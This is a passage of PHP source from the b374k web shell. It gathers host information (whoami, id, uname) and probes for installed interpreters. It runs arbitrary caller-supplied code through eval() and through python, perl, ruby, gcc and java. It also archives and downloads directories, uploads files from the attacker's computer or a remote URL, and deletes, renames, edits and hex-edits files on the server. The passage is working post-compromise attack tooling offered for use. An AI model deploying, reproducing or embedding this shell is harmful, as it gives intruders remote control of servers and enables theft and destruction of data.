813if(isset($_REQUEST['favicon'])){
814 $data = gzinflate(base64_decode($favicon));
815 header("Content-type: image/png");
816 header("Cache-control: public");
817 echo $data;
818 exit;
819}
820
821global $s_self;
822$s_self = "?";
823
824$cek1 = basename($_SERVER['SCRIPT_FILENAME']);
825$cek2 = substr(basename(__FILE__),0,strlen($cek1));;
826
827if(isset($_COOKIE['b374k_included'])){
828 if(strcmp($cek1,$cek2)!=0) $s_self = $_COOKIE['s_self'];
829 else{
830 $s_self = "?";
831 setcookie("b374k_included", "0" ,time() - $s_login_time);
832 setcookie("s_self", $s_self ,time() + $s_login_time);
833 }
834}
835else{
836 if(strcmp($cek1,$cek2)!=0){
837 if(!isset($_COOKIE['s_home'])){
838 $s_home = "?".$_SERVER["QUERY_STRING"]."&";
839 setcookie("s_home", $s_home ,time() + $s_login_time);
840 }
841 if(isset($s_home)) $s_self = $s_home;
842 elseif(isset($_COOKIE['s_home'])) $s_self = $_COOKIE['s_home'];
843 setcookie("b374k_included", "1" ,time() + $s_login_time);
844 setcookie("s_self", $s_self ,time() + $s_login_time);
845 }
846 else{
847 $s_self = "?";
848 setcookie("b374k_included", "0" ,time() - $s_login_time);
849 setcookie("s_self", $s_self ,time() + $s_login_time);
850 }
851}
852
853if($s_auth){
854 // server software
855 $s_software = getenv("SERVER_SOFTWARE");
856 // uname -a
857 $s_system = php_uname();
858 // check os
859 $s_win = (strtolower(substr($s_system,0,3)) == "win")? true : false;
860 // change working directory
861 if(isset($_REQUEST['cd'])){
862 $dd = ss($_REQUEST['cd']);
863 if(is_dir($dd)){
864 $cwd = cp($dd);
865 chdir($cwd);
866 setcookie("cwd", $cwd ,time() + $s_login_time);
867 }
868 }
869 else{
870 if(isset($_COOKIE['cwd'])){
871 $dd = ss($_COOKIE['cwd']);
872 if(is_dir($dd)){
873 $cwd = cp($dd);
874 chdir($cwd);
875 }
876 }
877 else $cwd = cp(getcwd());
878 }
879 // get path and all drives available
880 $letters = '';
881 if(!$s_win){
882 if(!$s_user = rp(exe("whoami"))) $s_user = "";
883 if(!$s_id = rp(exe("id"))) $s_id = "";
884 }
885 else {
886 $s_user = get_current_user();
887 $s_id = $s_user;
888 // find drive letters
889 $v = explode("\\",$cwd);
890 $v = $v[0];
891 foreach (range("A","Z") as $letter){
892 if(is_dir($letter.":\\") && is_readable($letter.":\\")){
893 $letters .= "<a href='".$s_self."cd=".$letter.":\\'>[ ";
894 if ($letter.":" != $v) {$letters .= $letter;}
895 else {$letters .= "<span style='color:#fff;'>".$letter."</span>";}
896 $letters .= " ]</a> ";
897 }
898 }
899 }
900 // prompt style..
901 $s_prompt = $s_user." >";
902 // check for posix
903 $s_posix = (function_exists("posix_getpwuid") && function_exists("posix_getgrgid"))? true : false;
904 // server ip
905 $s_server_ip = gethostbyname($_SERVER["HTTP_HOST"]);
906 // your ip ;-)
907 $s_my_ip = $_SERVER['REMOTE_ADDR'];
908 $s_result = "";
909
910 global $s_python, $s_perl, $s_ruby, $s_gcc, $s_java, $s_tar;
911 // check python
912 if(isset($_COOKIE['s_python'])){$s_python = $_COOKIE['s_python'];}
913 else{
914 $s_python = check_access("python");
915 setcookie("s_python", $s_python ,time() + $s_login_time);
916 }
917 $s_python = ($s_python=="1")?true:false;
918
919 // check perl
920 if(isset($_COOKIE['s_perl'])){$s_perl = $_COOKIE['s_perl'];}
921 else{
922 $s_perl = check_access("perl");
923 setcookie("s_perl", $s_perl ,time() + $s_login_time);
924 }
925 $s_perl = ($s_perl=="1")?true:false;
926
927 // check ruby
928 if(isset($_COOKIE['s_ruby'])){$s_ruby = $_COOKIE['s_ruby'];}
929 else{
930 $s_ruby = check_access("ruby");
931 setcookie("s_ruby", $s_ruby ,time() + $s_login_time);
932 }
933 $s_ruby = ($s_ruby=="1")?true:false;
934
935 // check gcc
936 if(isset($_COOKIE['s_gcc'])){$s_gcc = $_COOKIE['s_gcc'];}
937 else{
938 $s_gcc = check_access("gcc");
939 setcookie("s_gcc", $s_gcc ,time() + $s_login_time);
940 }
941 $s_gcc = ($s_gcc=="1")?true:false;
942
943 // check java
944 if(isset($_COOKIE['s_java'])){$s_java = $_COOKIE['s_java'];}
945 else{
946 $s_java = check_access("java");
947 setcookie("s_java", $s_java ,time() + $s_login_time);
948 }
949 $s_java = ($s_java=="1")?true:false;
950
951 // check tar
952 if(isset($_COOKIE['s_tar'])){$s_tar = $_COOKIE['s_tar'];}
953 else{
954 $s_tar = check_access("tar");
955 setcookie("s_tar", $s_tar ,time() + $s_login_time);
956 }
957 $s_tar = ($s_tar=="1")?true:false;
958
959 // sorttable.js
960 if(isset($_REQUEST['sorttable'])){
961 $data = gzinflate(base64_decode($sortable_js));
962 header("Content-type: text/javascript");
963 header("Cache-control: public");
964 echo $data;
965 exit;
966 }
967 if(!empty($_REQUEST['dltype']) && !empty($_REQUEST['dlpath'])){
968 $dltype = ss($_REQUEST['dltype']);
969 $dlpath = ss($_REQUEST['dlpath']);
970
971 $dlname = basename($dlpath);
972 if($dlpath==".") $dlname=basename($cwd);
973 elseif($dlpath==".."){
974 chdir("..");
975 $dlname=basename(getcwd());
976 chdir($cwd);
977 }
978 $tmpdir = get_writabledir();
979 $dlarchive = $tmpdir.$dlname;
980 $dlthis = "";
981 if($dltype=="ziparchive"){
982 $dlarchive .= ".zip";
983 if(zip($dlpath,$dlarchive)){
984 $dlthis = $dlarchive;
985 }
986 }
987 elseif($dltype=="tar"){
988 $dlarchive .= ".tar";
989 $dlarchive = str_replace('\\', '/', $dlarchive);
990 exe("tar cf ".$dlarchive." ".$dlpath);
991 $dlthis = $dlarchive;
992 }
993 elseif($dltype=="targz"){
994 $dlarchive .= ".tar.gz";
995 $dlarchive = str_replace('\\', '/', $dlarchive);
996 exe("tar czf ".$dlarchive." ".$dlpath);
997 $dlthis = $dlarchive;
998 }
999 elseif($dltype=="raw"){
1000 if(is_file($dlpath)) $dlthis = $dlpath;
1001 }
1002
1003 if(is_file($dlthis)){
1004 header("Content-Type: application/octet-stream");
1005 header('Content-Transfer-Encoding: binary');
1006 header("Content-length: ".@filesize($dlthis));
1007 header("Content-disposition: attachment; filename=\"".basename($dlthis)."\";");
1008 $file = @fopen($dlthis,"rb");
1009 while(!feof($file)){
1010 print(@fread($file, 1024*8));
1011 ob_flush();
1012 flush();
1013 }
1014 fclose($file);
1015
1016 if($dltype!="raw"){
1017 rename($dlthis,$dlthis."del");
1018 unlink($dlthis."del");
1019 }
1020 exit;
1021 }
1022 }
1023 // view image specified by ?img=<file>
1024 if(isset($_REQUEST['img'])){
1025 ob_clean();
1026 $d = ss($_REQUEST['d']);
1027 $f = ss($_REQUEST['img']);
1028 $inf = @getimagesize($d.$f);
1029 $ext = explode($f,".");
1030 $ext = $ext[count($ext)-1];
1031 header("Content-type: ".$inf["mime"]);
1032 header("Cache-control: public");
1033 header("Expires: ".@date("r",@mktime(0,0,0,1,1,2030)));
1034 header("Cache-control: max-age=".(60*60*24*7));#
1035 readfile($d.$f);
1036 exit;
1037 }
1038
1039 // rename file or folder
1040 if(isset($_REQUEST['rename']) && isset($_REQUEST['oldname']) && isset($_REQUEST['newname'])){
1041 $old = ss($_REQUEST['oldname']);
1042 $new = ss($_REQUEST['newname']);
1043
1044 $renmsg = "";
1045 if(is_dir($old)) $renmsg = (@rename($cwd.$old,$cwd.$new)) ? "Directory ".$old." renamed to ".$new : "Unable to rename directory ".$old." to ".$new;
1046 elseif(is_file($old)) $renmsg = (@rename($cwd.$old,$cwd.$new)) ? "File ".$old." renamed to ".$new : "Unable to rename file ".$old." to ".$new;
1047 else $renmsg = "Cannot find the path specified ".$old;
1048
1049 $s_result .= "<p class='notif'>".$renmsg."</p>";
1050 $fnew = $cwd.$new;
1051 }
1052
1053 // confirm delete
1054 if(!empty($_REQUEST['del'])){
1055 $del = trim($_REQUEST['del']);
1056 $s_result .= "<p class='notif'>Delete ".basename($del)." ? <a href='".$s_self."delete=".$del."'>Yes</a> | <a href='".$s_self."'>No</a></p>";
1057 }// delete file
1058 elseif(!empty($_REQUEST['delete'])){
1059 $f = ss($_REQUEST['delete']);
1060 $delmsg = "";
1061 if(is_file($f)){
1062 $delmsg = (unlink($f)) ? "File removed : ".$f : "Unable to remove file ".$f;
1063 }
1064 elseif(is_dir($f)){
1065 rmdirs($f);
1066 $delmsg = (is_dir($f)) ? "Unable to remove directory ".$f : "Directory removed : ".$f;
1067 }
1068 else $delmsg = "Cannot find the path specified ".$f;
1069 $s_result .= "<p class='notif'>".$delmsg."</p>";
1070 } // create dir
1071 elseif(!empty($_REQUEST['mkdir'])){
1072 $f = ss($cwd.ss($_REQUEST['mkdir']));
1073 $dirmsg = "";
1074 if(!is_dir($f)){
1075 mkdir($f);
1076 if(is_dir($f)) $dirmsg = "Directory created ".$f;
1077 else $dirmsg = "Unable to create directory ".$f;
1078 }
1079 else $dirmsg = "Directory already exists ".$f;
1080 $s_result .= "<p class='notif'>".$dirmsg."</p>";
1081 }
1082
1083 // php eval() function
1084 if(isset($_REQUEST['eval'])){
1085 $code = "";
1086 $res = "";
1087 $gccoption = "";
1088 $lang = "php";
1089
1090 if(isset($_REQUEST['evalcode'])){
1091 $code = ssc($_REQUEST['evalcode']);
1092 $gccoption = (isset($_REQUEST['gccoption']))? " ".ssc($_REQUEST['gccoption']):"";
1093 $tmpdir = get_writabledir();
1094
1095 if(isset($_REQUEST['lang'])){$lang = $_REQUEST['lang'];}
1096
1097 if(strtolower($lang)=='php'){
1098 ob_start();
1099 eval($code);
1100 $res = ob_get_contents();
1101 ob_end_clean();
1102 }
1103 elseif(strtolower($lang)=='python'||strtolower($lang)=='perl'||strtolower($lang)=='ruby'){
1104 $rand = md5(time().rand(0,100));
1105 $script = $tmpdir.$rand;
1106 file_put_contents($script, $code);
1107 if(is_file($script)){
1108 $res = exe($lang." ".$script.$gccoption);
1109 unlink($script);
1110 }
1111 }
1112 elseif(strtolower($lang)=='gcc'){
1113 $script = md5(time().rand(0,100));
1114 chdir($tmpdir);
1115 file_put_contents($script.".c", $code);
1116 if(is_file($script.".c")){
1117 $scriptout = $s_win ? $script.".exe" : $script;
1118 $res = exe("gcc ".$script.".c -o ".$scriptout.$gccoption);
1119 if(is_file($scriptout)){
1120 $res = $s_win ? exe($scriptout) : exe("chmod +x ".$scriptout." ; ./".$scriptout);
1121 rename($scriptout, $scriptout."del");
1122 unlink($scriptout."del");
1123 }
1124 unlink($script.".c");
1125 }
1126 chdir($cwd);
1127 }
1128 elseif(strtolower($lang)=='java'){
1129 if(preg_match("/class\ ([^{]+){/i",$code, $r)){
1130 $classname = trim($r[1]);
1131 $script = $classname;
1132 }
1133 else{
1134 $rand = "b374k_".substr(md5(time().rand(0,100)),0,8);
1135 $script = $rand;
1136 $code = "class ".$rand." { ".$code . " } ";
1137 }
1138 chdir($tmpdir);
1139 file_put_contents($script.".java", $code);
1140 if(is_file($script.".java")){
1141 $res = exe("javac ".$script.".java");
1142 if(is_file($script.".class")){
1143 $res .= exe("java ".$script.$gccoption);
1144 unlink($script.".class");
1145 }
1146 unlink($script.".java");
1147 }
1148 chdir($pwd);
1149 }
1150 }
1151
1152 $lang_available = "<option value='php'>php</option>";
1153 $selected = "";
1154 if($s_python){
1155 $checked = ($lang == "python") ? "selected" : "";
1156 $lang_available .= "<option value='python' ".$checked.">python</option>";
1157 }
1158 if($s_perl){
1159 $checked = ($lang == "perl") ? "selected" : "";
1160 $lang_available .= "<option value='perl' ".$checked.">perl</option>";
1161 }
1162 if($s_ruby){
1163 $checked = ($lang == "ruby") ? "selected" : "";
1164 $lang_available .= "<option value='ruby' ".$checked.">ruby</option>";
1165 }
1166 if($s_gcc){
1167 $checked = ($lang == "gcc") ? "selected" : "";
1168 $lang_available .= "<option value='gcc' ".$checked.">c</option>";
1169 }
1170 if($s_java){
1171 $checked = ($lang == "java") ? "selected" : "";
1172 $lang_available .= "<option value='java' ".$checked.">java</option>";
1173 }
1174 $gccoptionclass = ($lang=="php")? "sembunyi":"";
1175 $e_result = (!empty($res)) ? "<pre id='evalres' style='border-top:1px solid #393939;margin:4px 0 0 0;padding:6px 0;' >".hss($res)."</pre>":"";
1176 $s_result .= "<form action='".$s_self."' method='post'>
1177 <textarea id='evalcode' name='evalcode' style='height:150px;' class='txtarea'>".hss($code)."</textarea>
1178 <table><tr><td style='padding:0;'><p><input type='submit' name='evalcodesubmit' class='inputzbut' value='Go !' style='width:120px;height:30px;' /></p>
1179 </td><td><select name='lang' onchange='evalselect(this);' class='inputzbut' style='width:120px;height:30px;padding:4px;'>
1180 ".$lang_available."
1181 </select>
1182 </td>
1183 <td><div id='additionaloption' class='".$gccoptionclass."'>Additional option<input class='inputz' style='width:400px;' type='text' name='gccoption' value='".hss($gccoption)."' title='If you want to give additional option to interpreter or compiler, give it here' id='gccoption' /></div></td>
1184 </tr>
1185 </table>
1186 ".$e_result."
1187 <input type='hidden' name='eval' value='' />
1188 </form>
1189 ";
1190 }
1191 // find
1192 elseif(isset($_REQUEST['find'])){
1193 $p = cp($_REQUEST['find']);
1194
1195 $type = isset($_REQUEST['type']) ? $_REQUEST['type'] : "sfile";
1196 $sfname = (!empty($_REQUEST['sfname']))?ssc($_REQUEST['sfname']):'';
1197 $sdname = (!empty($_REQUEST['sdname']))?ssc($_REQUEST['sdname']):'';
1198 $sfcontain = (!empty($_REQUEST['sfcontain']))?ssc($_REQUEST['sfcontain']):'';
1199
1200 $sfnameregexchecked=$sfnameicasechecked=$sdnameregexchecked=$sdnameicasechecked=$sfcontainregexchecked=$sfcontainicasechecked=$swritablechecked=$sreadablechecked=$sexecutablechecked="";
1201 $sfnameregex=$sfnameicase=$sdnameregex=$sdnameicase=$sfcontainregex=$sfcontainicase=$swritable=$sreadable=$sexecutable=false;
1202
1203 if(isset($_REQUEST['sfnameregex'])){$sfnameregex=true;$sfnameregexchecked="checked";}
1204 if(isset($_REQUEST['sfnameicase'])){$sfnameicase=true;$sfnameicasechecked="checked";}
1205 if(isset($_REQUEST['sdnameregex'])){$sdnameregex=true;$sdnameregexchecked="checked";}
1206 if(isset($_REQUEST['sdnameicase'])){$sdnameicase=true;$sdnameicasechecked="checked";}
1207 if(isset($_REQUEST['sfcontainregex'])){$sfcontainregex=true;$sfcontainregexchecked="checked";}
1208 if(isset($_REQUEST['sfcontainicase'])){$sfcontainicase=true;$sfcontainicasechecked="checked";}
1209 if(isset($_REQUEST['swritable'])){$swritable=true;$swritablechecked="checked";}
1210 if(isset($_REQUEST['sreadable'])){$sreadable=true;$sreadablechecked="checked";}
1211 if(isset($_REQUEST['sexecutable'])){$sexecutable=true;$sexecutablechecked="checked";}
1212
1213 $sexecb = (function_exists("is_executable")) ? "<input type='checkbox' name='sexecutable' value='sexecutable' id='se' ".$sexecutablechecked." /><label for='se'>Executable</span>":"";
1214
1215 $candidate = array();
1216 if(isset($_REQUEST['sgo'])){
1217 $af = "";
1218
1219 $candidate = getallfiles($p);
1220 if($type=='sfile') $candidate = array_filter($candidate, "is_file");
1221 elseif($type=='sdir') $candidate = array_filter($candidate, "is_dir");
1222
1223 foreach($candidate as $a){
1224 if($type=='sdir'){
1225 if(!empty($sdname)){
1226 if($sdnameregex){
1227 if($sdnameicase){if(!preg_match("/".$sdname."/i", basename($a))) $candidate = array_diff($candidate,array($a));}
1228 else{if(!preg_match("/".$sdname."/", basename($a))) $candidate = array_diff($candidate,array($a));}
1229 }
1230 else{
1231 if($sdnameicase){if(strpos(strtolower(basename($a)),strtolower($sdname))===false) $candidate = array_diff($candidate,array($a));}
1232 else{if(strpos(basename($a),$sdname)===false) $candidate = array_diff($candidate,array($a));}
1233 }
1234 }
1235 }
1236 elseif($type=='sfile'){
1237 if(!empty($sfname)){
1238 if($sfnameregex){
1239 if($sfnameicase){if(!preg_match("/".$sfname."/i", basename($a))) $candidate = array_diff($candidate,array($a));}
1240 else{if(!preg_match("/".$sfname."/", basename($a))) $candidate = array_diff($candidate,array($a));}
1241 }
1242 else{
1243 if($sfnameicase){if(strpos(strtolower(basename($a)),strtolower($sfname))===false) $candidate = array_diff($candidate,array($a));}
1244 else{if(strpos(basename($a),$sfname)===false) $candidate = array_diff($candidate,array($a));}
1245 }
1246 }
1247 if(!empty($sfcontain)){
1248 $sffcontent = @file_get_contents($a);
1249 if($sfcontainregex){
1250 if($sfcontainicase){if(!preg_match("/".$sfcontain."/i", $sffcontent)) $candidate = array_diff($candidate,array($a));}
1251 else{if(!preg_match("/".$sfcontain."/", $sffcontent)) $candidate = array_diff($candidate,array($a));}
1252 }
1253 else{
1254 if($sfcontainicase){if(strpos(strtolower($sffcontent),strtolower($sfcontain))===false) $candidate = array_diff($candidate,array($a));}
1255 else{if(strpos($sffcontent,$sfcontain)===false) $candidate = array_diff($candidate,array($a));}
1256 }
1257 }
1258 }
1259 }
1260 }
1261
1262 $f_result = "";$link="";
1263 foreach($candidate as $c){
1264 $c=trim($c);
1265 if($swritable && !is_writable($c)) continue;
1266 if($sreadable && !is_readable($c)) continue;
1267 if($sexecutable && !is_executable($c)) continue;
1268 if($type=="sfile") $link = $s_self."cd=".cp(dirname($c))."&view=".basename($c);
1269 elseif($type=="sdir") $link = $s_self."cd=".cp($c);
1270 $f_result .= "<p class='notif' onmouseup=\"return go('".addslashes($link)."',event);\"><a href='".$link."' target='_blank'>".$c."</a></p>";
1271 }
1272
1273 $tsdir = ($type=="sdir")? "selected":"";
1274 $tsfile = ($type=="sfile")? "selected":"";
1275
1276 if(!is_dir($p)) $s_result .= "<p class='notif'>Cannot find the path specified ".$p."</p>";
1277 $s_result .= "<form action='".$s_self."' method='post'>
1278 <div class='mybox'><h2>Find</h2>
1279 <table class='myboxtbl'>
1280 <tr><td style='width:140px;'>Search in</td>
1281 <td colspan='2'><input style='width:100%;' value='".hss($p)."' class='inputz' type='text' name='find' /></td></tr>
1282 <tr onclick=\"findtype('sdir');\">
1283 <td>Dirname contains</td>
1284 <td style='width:400px;'><input class='inputz' style='width:100%;' type='text' name='sdname' value='".hss($sdname)."' /></td>
1285 <td>
1286 <input type='checkbox' name='sdnameregex' id='sdn' ".$sdnameregexchecked." /><label for='sdn'>Regex (pcre)</label>
1287 <input type='checkbox' name='sdnameicase' id='sdi' ".$sdnameicasechecked." /><label for='sdi'>Case Insensitive</label>
1288 </td>
1289 </tr>
1290 <tr onclick='findtype('sfile');'>
1291 <td>Filename contains</td>
1292 <td style='width:400px;'><input class='inputz' style='width:100%;' type='text' name='sfname' value='".hss($sfname)."' /></td>
1293 <td>
1294 <input type='checkbox' name='sfnameregex' id='sfn' ".$sfnameregexchecked." /><label for='sfn'>Regex (pcre)</label>
1295 <input type='checkbox' name='sfnameicase' id='sfi' ".$sfnameicasechecked." /><label for='sfi'>Case Insensitive</label>
1296 </td>
1297 </tr>
1298 <tr onclick=\"findtype('sfile');\">
1299 <td>File contains</td>
1300 <td style='width:400px;'><input class='inputz' style='width:100%;' type='text' name='sfcontain' value='".hss($sfcontain)."' /></td>
1301 <td>
1302 <input type='checkbox' name='sfcontainregex' id='sff' ".$sfcontainregexchecked." /><label for='sff'>Regex (pcre)</label>
1303 <input type='checkbox' name='sfcontainicase' id='sffi' ".$sfcontainicasechecked." /><label for='sffi'>Case Insensitive</label>
1304 </td>
1305 </tr>
1306 <tr>
1307 <td>Permissions</td>
1308 <td colspan='2'>
1309 <input type='checkbox' name='swritable' id='sw' ".$swritablechecked." /><label for='sw'>Writable</label>
1310 <input type='checkbox' name='sreadable' id='sr' ".$sreadablechecked." /><label for='sr'>Readable</label>
1311 ".$sexecb."
1312 </td>
1313 </tr>
1314 <tr><td colspan='3'>
1315 <input type='submit' name='sgo' class='inputzbut' value='Search !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
1316 <select name='type' id='type' class='inputzbut' style='width:120px;height:30px;margin:10px 2px 0 2px;'>
1317 <option value='sfile' ".$tsfile.">Search file</option>
1318 <option value='sdir' ".$tsdir.">Search dir</option>
1319 </select>
1320 </td></tr>
1321 </table>
1322 </div>
1323 </form>
1324 <div>
1325 ".$f_result."
1326 </div>
1327 ";
1328 }
1329 // upload !
1330 elseif(isset($_REQUEST['upload'])){
1331 $s_result = " ";
1332 $msg = "";
1333 if(isset($_REQUEST['uploadhd'])){
1334 $fn = $_FILES['filepath']['name'];
1335 if(is_uploaded_file($_FILES['filepath']['tmp_name'])){
1336 $p = cp(ss($_REQUEST['savefolder']));
1337 if(!is_dir($p)) $p = cp(dirname($p));
1338 if(isset($_REQUEST['savefilename']) && (trim($_REQUEST['savefilename'])!="")) $fn = ss($_REQUEST['savefilename']);
1339 $tm = $_FILES['filepath']['tmp_name'];
1340 $pi = cp($p).$fn;
1341 $st = @move_uploaded_file($tm,$pi);
1342 if($st) $msg = "<p class='notif'>File uploaded to <a href='".$s_self."view=".basename($pi)."'>".$pi."</a></p>";
1343 else $msg = "<p class='notif'>Failed to upload ".$fn."</p>";
1344 }
1345 else $msg = "<p class='notif'>Failed to upload ".$fn."</p>";
1346 }
1347 elseif(isset($_REQUEST['uploadurl'])){
1348 // function dlfile($url,$fpath){
1349 $p = cp(ss($_REQUEST['savefolderurl']));
1350 if(!is_dir($p)) $p = cp(dirname($p));
1351 $fu = ss($_REQUEST['fileurl']);
1352 $fn = basename($fu);
1353 if(isset($_REQUEST['savefilenameurl']) && (trim($_REQUEST['savefilenameurl'])!="")) $fn = ss($_REQUEST['savefilenameurl']);
1354 $fp = cp($p).$fn;
1355 $st = dlfile($fu,$fp);
1356 if($st) $msg = "<p class='notif'>File uploaded to <a href='".$s_self."view=".basename($fp)."'>".$fp."</a></p>";
1357 else $msg = "<p class='notif'>Failed to upload ".$fn."</p>";
1358 }
1359 else{
1360 if(!is_writable($cwd)) $msg = "<p class='notif'>Directory ".$cwd." is not writable, please change to a writable one</p>";
1361 }
1362
1363 if(!empty($msg)) $s_result .= $msg;
1364 $s_result .= "
1365 <form action='".$s_self."upload' method='post' enctype='multipart/form-data'>
1366 <div class='mybox'><h2>Upload from computer</h2>
1367 <table class='myboxtbl'>
1368 <tr><td style='width:140px;'>File</td><td><input type='file' name='filepath' class='inputzbut' style='width:400px;margin:0;' />
1369 </td></tr>
1370 <tr><td>Save to</td><td><input style='width:100%;' class='inputz' type='text' name='savefolder' value='".$cwd."' /></td></tr>
1371 <tr><td>Filename (optional)</td><td><input style='width:100%;' class='inputz' type='text' name='savefilename' value='' /></td></tr>
1372 <tr><td> </td><td>
1373 <input type='submit' name='uploadhd' class='inputzbut' value='Upload !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
1374 </td></tr>
1375 </table>
1376 </div>
1377 </form>
1378 <form action='".$s_self."upload' method='post'>
1379 <div class='mybox'><h2>Upload from internet</h2>
1380 <table class='myboxtbl'>
1381 <tr><td style='width:150px;'>File URL</td><td><input style='width:100%;' class='inputz' type='text' name='fileurl' value='' />
1382 </td></tr>
1383 <tr><td>Save to</td><td><input style='width:100%;' class='inputz' type='text' name='savefolderurl' value='".$cwd."' /></td></tr>
1384 <tr><td>Filename (optional)</td><td><input style='width:100%;' class='inputz' type='text' name='savefilenameurl' value='' /></td></tr>
1385 <tr><td> </td><td>
1386 <input type='submit' name='uploadurl' class='inputzbut' value='Upload !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
1387 </td></tr>
1388 </table>
1389 </div>
1390 </form>
1391 ";
1392 } // view file
1393 elseif(isset($_REQUEST['view'])){
1394 $f = ss($_REQUEST['view']);
1395 if(isset($fnew) && (trim($fnew)!="")) $f = $fnew;
1396 $owner = "";
1397 if(is_file($f)){
1398 if(!$s_win && $s_posix){
1399 $name = posix_getpwuid(fileowner($f));
1400 $group = posix_getgrgid(filegroup($f));
1401 $owner = "<tr><td>Owner</td><td>".$name['name']."<span class='gaya'> : </span>".$group['name']."</td></tr>";
1402 }
1403 $filn = basename($f);
1404 $dlfile = get_archiver_available();
1405 $dlfile = str_replace("__dlpath__",$filn,$dlfile);
1406 $dlfile = str_replace("__dlcwd__",$cwd,$dlfile);
1407 $s_result .= "<table class='viewfile' style='width:100%;'>
1408 <tr><td style='width:140px;'>Filename</td><td><span id='".cs($filn)."_link'>".$filn."</span>
1409 <div id='".cs($filn)."_form' class='sembunyi'>
1410 <form action='".$s_self."view=".basename($f)."' method='post'>
1411 <input type='hidden' name='oldname' value='".$filn."' style='margin:0;padding:0;' />
1412 <input class='inputz' style='width:200px;' type='text' name='newname' value='".$filn."' />
1413 <input class='inputzbut' type='submit' name='rename' value='rename' />
1414 </form>
1415 <input class='inputzbut' type='button' value='x' onclick=\"tukar('".cs($filn)."_form','".cs($filn)."_link');\" />
1416 </div>
1417 </td></tr>
1418 <tr><td>Size</td><td>".gs($f)." (".@filesize($f).")</td></tr>
1419 <tr><td>Permission</td><td>".gp($f)."</td></tr>
1420 ".$owner."
1421 <tr><td>Create time</td><td>".@date("d-M-Y H:i",filectime($f))."</td></tr>
1422 <tr><td>Last modified</td><td>".@date("d-M-Y H:i",filemtime($f))."</td></tr>
1423 <tr><td>Last accessed</td><td>".@date("d-M-Y H:i",fileatime($f))."</td></tr>
1424 <tr><td>Actions</td><td>
1425 <a href='".$s_self."edit=".realpath($f)."' title='edit'>edit</a> |
1426 <a href='".$s_self."hexedit=".realpath($f)."' title='edit as hex'>hex</a> |
1427 <a href=\"javascript:tukar('".cs($filn)."_link','".cs($filn)."_form');\" title='rename'>ren</a> |
1428 <a href='".$s_self."del=".$filn."' title='delete'>del</a> ".$dlfile."
1429 </td></tr>
1430 <tr><td>View</td><td>
1431 <a href='".$s_self."view=".$filn."&type=text'>text</a> |
1432 <a href='".$s_self."view=".$filn."&type=code'>code</a> |
1433 <a href='".$s_self."view=".$filn."&type=image'>image</a></td></tr>
1434 </table>
1435 ";
1436
1437 $t = "";
1438 $iinfo = @getimagesize($f);
1439 if(substr($filn,-3,3) == "php") $t = "code";
1440 if(is_array($iinfo)) $t = 'image';
1441
1442 if(isset($_REQUEST['type'])) $t = ss($_REQUEST['type']);
1443
1444 if($t=="image"){
1445 $width = (int) $iinfo[0];
1446 $height = (int) $iinfo[1];
1447 $imginfo = "Image type = ( ".$iinfo['mime']." )<br />
1448 Image Size = <span class='gaul'>( </span>".$width." x ".$height."<span class='gaul'> )</span><br />";
1449 if($width > 800){
1450 $width = 800;
1451 $imglink = "<p><a href='".$s_self."img=".$filn."' target='_blank'>
1452 <span class='gaul'>[ </span>view full size<span class='gaul'> ]</span></a></p>";
1453 }
1454 else $imglink = "";
1455
1456 $s_result .= "<div class='viewfilecontent' style='text-align:center;'>".$imglink."
1457 <img width='".$width."' src='".$s_self."img=".$filn."' alt='".$filn."' style='margin:8px auto;padding:0;border:0;' /></div>";
1458
1459 }
1460 elseif($t=="code"){
1461 $s_result .= "<div class=\"viewfilecontent\">";
1462 $file = wordwrap(@file_get_contents($f),160,"\n",true);
1463 $buff = highlight_string($file,true);
1464 $old = array("0000BB","000000","FF8000","DD0000", "007700");
1465 $new = array("4C83AF","888888", "87DF45", "EEEEEE" , "FF8000");
1466 $buff = str_replace($old,$new, $buff);
1467 $s_result .= $buff;
1468 $s_result .= "</div>";
1469 }
1470 else {
1471 $s_result .= "<pre style='padding: 3px 8px 0 8px;' class='viewfilecontent'>";
1472 $s_result .= str_replace("<","<",str_replace(">",">",(wordwrap(@file_get_contents($f),160,"\n",true))));
1473 $s_result .= "</pre>";
1474 }
1475 }
1476 elseif(is_dir($f)){
1477 chdir($f);
1478 $cwd = cp(getcwd());
1479 $s_result .= showdir($cwd);
1480 }
1481 else $s_result .= "<p class='notif'>Cannot find the path specified ".$f."</p>";
1482
1483 } // edit file
1484 elseif(isset($_REQUEST['edit'])){
1485 $f = ss($_REQUEST['edit']);
1486 $fc = "";
1487 $fcs = "";
1488
1489 if(isset($_REQUEST['new'])){
1490 $num = 1;
1491 if(is_file($f)){
1492 $pos = strrpos($f,"_");
1493 if($pos!==false) $num = (int) substr($f,$pos+1);
1494 while(is_file(substr($f,0,$pos)."_".$num)){
1495 $num++;
1496 }
1497 $f = substr($f,0,$pos)."_".$num;
1498 }
1499 }
1500 else if(is_file($f)) $fc = @file_get_contents($f);
1501
1502
1503 if(isset($_REQUEST['fc'])){
1504 $fc = ssc($_REQUEST['fc']);
1505 if($filez = fopen($f,"w")){
1506 $time = @date("d-M-Y H:i",time());
1507 if(fwrite($filez,$fc)!==false) $fcs = "File saved @ ".$time;
1508 else $fcs = "Failed to save";
1509 fclose($filez);
1510 }
1511 else $fcs = "Permission denied";
1512 }
1513 else if(is_file($f) && !is_writable($f)) $fcs = "This file is not writable";
1514
1515 if(!empty($fcs)) $s_result .= "<p class='notif'>".$fcs."</p>";
1516 $s_result .= "<form action='".$s_self."' method='post'>
1517 <textarea id='fc' name='fc' class='txtarea'>".hss($fc)."</textarea>
1518 <p style='text-align:center;'><input type='text' class='inputz' style='width:99%;' name='edit' value='".$f."' /></p>
1519 <p><input type='submit' name='fcsubmit' class='inputzbut' value='Save !' style='width:120px;height:30px;' /></p>
1520 </form>";
1521
1522 }// hex edit file
1523 elseif(isset($_REQUEST['hexedit'])){
1524 $f = ss($_REQUEST['hexedit']);
1525 $fc = "";
1526 $fcs = "";
1527 $lnum = 0;
1528 $hexes = "";
1529
1530 if(!empty($_REQUEST['hexes']) || !empty($_REQUEST['hexestxtarea'])){
1531 if(!empty($_REQUEST['hexes'])){
1532 foreach($_REQUEST['hexes'] as $hex) $hexes .= str_replace(" ","", $hex);
1533 }
1534 elseif(!empty($_REQUEST['hexestxtarea'])){
1535 $hexes = trim($_REQUEST['hexestxtarea']);
1536 }
1537 if($filez = fopen($f,"w")){
1538 $bins = pack("H*" , $hexes);
1539 $time = @date("d-M-Y H:i",time());
